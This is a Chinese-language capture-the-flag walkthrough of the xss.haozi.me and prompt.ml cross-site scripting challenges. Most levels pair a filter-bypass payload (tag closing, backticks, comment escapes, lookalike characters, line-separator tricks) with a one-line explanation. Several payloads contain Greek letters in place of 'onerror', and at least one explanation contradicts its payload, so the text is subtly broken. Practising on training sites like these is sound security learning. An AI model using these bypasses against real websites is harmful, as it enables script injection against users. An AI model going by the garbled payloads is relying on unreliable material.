1.https://xss.haozi.me
0x00
<script>alert(1)</script>
0x01
标签中不能执行其它标签,就直接先闭合
</textarea><script>alert(1)</script>
0x02
跟上一关的思路差不多,也是先去闭合value
"><script>alert(1)</script>
0x03
先看题,这关是过滤了(),那么我们就可以使用反引号`来替换()
<script>alert`1`</script>
0x04
这关的正则表达式过滤了()和`,那么我们就可以考虑编码了
<img src="1" οnerrοr="alert(1)
0x05
可以用–!>对前面的<–!进行闭合
--!><script>alert(1)</script>
0x06
是把内容写入到input中,要注意的是onerror要换行,否则会被过滤掉
type=image src="1" onerror
="alert(1)"
0x07
这关是过滤了>,那么<img标签刚好可以不需要闭合>
<img src="1" οnerrοr="alert(1)"
0x08
这道题是把
</style
><script>alert(1)</script>
0x09
这道题需要前面输入一个指定的URL
https://www.segmentfault.com><img src="1" οnerrοr="alert(1)
0x0A
就只用firefox能弹出图片
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
该题是将我们输入的字符全部转化为大写,JS需要区分大小写,所以我们将该题输入内容转化为HTML实体字符
<img src="1" onerror="alert(1)">
0x0C
与上题思路差不多,就是多了个对<script>
标签的限制
<img src="1" οnerrοr="alert(1)"
0x0D
先换一行逃逸,因为过滤了单引号,那么我们就利用注释–>
alert(1);
-->
0x0E
这道题是匹配了所有<与字母的组合,将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ替换s的大写
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
这道题先闭合单引号,然后利用注释符逃逸
')
alert(1)
-->
0x10
没看懂…直接alert(1)
alert(1)
0x11
思路跟上面有道题差不多,也是先考虑去闭合掉前面的(",然后利用//注释符逃逸
");alert(1)//
0x12
由于"被替换成了\,所以要用\对其进行转义
\");alert(1);//
2.http://prompt.ml/0
level0
思路就是先去闭合掉value,然后利用注释符逃逸
level1
这关的正则过滤了>,那我们就可以考虑用<img
标签了
level2
这个正则表示的是将=或(替换为空
所以考虑将其进行编码绕过
level3
这个就是先闭合掉前面的注释
level5
过滤了>,也就是说不能闭合,由于onxxx=全部替换成_,这里利用回车绕过即可
然后就是利用image类型
level6
这里用到一个js伪协议
level7
这里先闭合掉前面的,然后因为有长度限制,然后可以考虑使用#
,如果超过12字符,就截取前12个
level8
因为过滤了换行符,所以就考虑利用编码的方式
[U+2028]prompt(1)[U+2028]-->